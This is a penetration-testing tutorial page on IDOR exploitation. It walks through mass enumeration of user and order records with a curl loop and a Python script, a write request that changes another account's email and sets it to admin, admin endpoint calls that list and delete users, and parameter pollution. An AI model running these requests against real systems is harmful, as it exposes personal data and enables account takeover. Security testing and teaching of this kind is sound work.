Skip to content
HackIndex logo

HackIndex

IDOR Exploitation

1 min read Mar 28, 2026

IDOR exploitation moves from confirming unauthorized access on a single object to extracting full datasets, modifying other users' data, and escalating to admin functions when vertical references are accessible. Start from a confirmed IDOR found in IDOR testing and expand the scope before reporting.

Bulk Horizontal Data Extraction

With a confirmed read IDOR, enumerate the full ID range to extract all accessible objects:

┌──(kali㉿kali)-[~]
└─$ for id in $(seq 1 500); do curl -sk "http://$TARGET_IP:$PORT/api/users/$id" -H 'Cookie: session=YOUR_SESSION' | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'{$id}: {d.get(\"email\",\"404\")}')" 2>/dev/null; done | grep -v '404' 
1: [email protected]
2: [email protected]
47: [email protected]
┌──(kali㉿kali)-[~]
└─$ python3 << 'EOF'
import requests, json
TARGET = f'http://$TARGET_IP:$PORT'
SESSION = 'YOUR_SESSION'
results = []
for i in range(1, 1000):
r = requests.get(f'{TARGET}/api/orders/{i}', cookies={'session': SESSION})
if r.status_code == 200:
results.append(r.json())
with open('/tmp/idor_dump.json', 'w') as f:
json.dump(results, f, indent=2)
print(f'Extracted {len(results)} records')
EOF 
Extracted 347 records

Write IDOR — Modify Other Users' Data

When PUT, PATCH, or POST endpoints accept object references in the body without authorization checks, modify other users' records:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X PUT http://$TARGET_IP:$PORT/api/users/1 -H 'Content-Type: application/json' -H 'Cookie: session=YOUR_SESSION' -d '{"email":"[email protected]","role":"admin"}' 
{"id":1,"email":"[email protected]","role":"admin"}

A successful response modifying user ID 1 (admin) confirms write IDOR. If the role field was accepted, this is also a mass assignment vulnerability enabling privilege escalation.

Vertical IDOR — Admin Function Access

Test admin endpoints with a regular user session. Admin panels often apply access controls on navigation but not on the underlying API endpoints:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/api/admin/users -H 'Cookie: session=REGULAR_USER_SESSION' | python3 -m json.tool 
[{"id":1,"username":"admin","role":"admin"},{"id":2,"username":"editor"}]
┌──(kali㉿kali)-[~]
└─$ curl -sk -X DELETE http://$TARGET_IP:$PORT/api/admin/users/3 -H 'Cookie: session=REGULAR_USER_SESSION' -o /dev/null -w '%{http_code}' 
200

Parameter Pollution for IDOR Bypass

Some applications check authorization on one parameter but process another. Test duplicate parameters to see which one takes precedence:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/api/profile?user_id=YOUR_ID&user_id=1" -H 'Cookie: session=YOUR_SESSION'

References